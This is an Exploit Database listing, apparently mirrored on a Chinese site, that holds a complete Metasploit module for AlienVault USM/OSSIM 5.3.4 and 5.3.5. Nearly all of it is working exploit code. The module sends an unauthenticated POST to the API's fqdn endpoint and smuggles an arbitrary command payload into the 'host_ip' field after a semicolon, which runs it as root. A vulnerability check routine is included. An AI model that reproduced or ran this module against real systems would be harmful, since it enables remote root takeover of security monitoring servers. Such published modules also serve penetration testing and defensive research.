Alienvault OSSIM/USM 5.3.4/5.3.5 – Remote Command Execution (Metasploit)

• Exploit Database
• 20 阅读

• 作者： Peter Lapp
  日期： 2017-04-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41884/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'AlienVault USM/OSSIM API Command Execution',
  'Description' => %q{
  This module exploits an unauthenticated command injection in Alienvault USM/OSSIM versions 5.3.4 and 5.3.5. The vulnerability lies in an API function that does not check for authentication and then passes user input directly to a system call as root. 
  },
  'Author'=>
  [
  'Unknown', # Privately disclosed to Alienvault
  'Peter Lapp (lappsec@gmail.com)' # Metasploit module
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  ['URL', 'https://www.alienvault.com/forums/discussion/8415/']
  ],
  'Privileged' => false,
  'Platform' => 'unix',
  'Arch' => ARCH_CMD,
  'Payload'=>
  {
  'Compat'=> {
  'PayloadType' => 'cmd'
  }
  },
  'DefaultOptions' =>
  {
  'SSL' => true
  },
  'Targets'=>
  [
  [ 'Automatic', { }]
  ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Feb 5 2017'))
  
  register_options(
  [
  Opt::RPORT(40011)
  ], self.class)
  end
  
  def check
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
  'vars_post' => {
  'host_ip'=> "127.0.0.1"
  },
  'headers'=> {
  'Accept' => "application/json"
  }
  })
  
  if res and res.code == 200 and res.body.include?('success')
  return Exploit::CheckCode::Vulnerable
  end
  
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  
  print_status("Executing payload...")
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
  'vars_post' => {
  'host_ip'=> ";#{payload.encoded}"
  },
  'headers'=> {
  'Accept' => "application/json"
  }
  })
  end
  
  
  end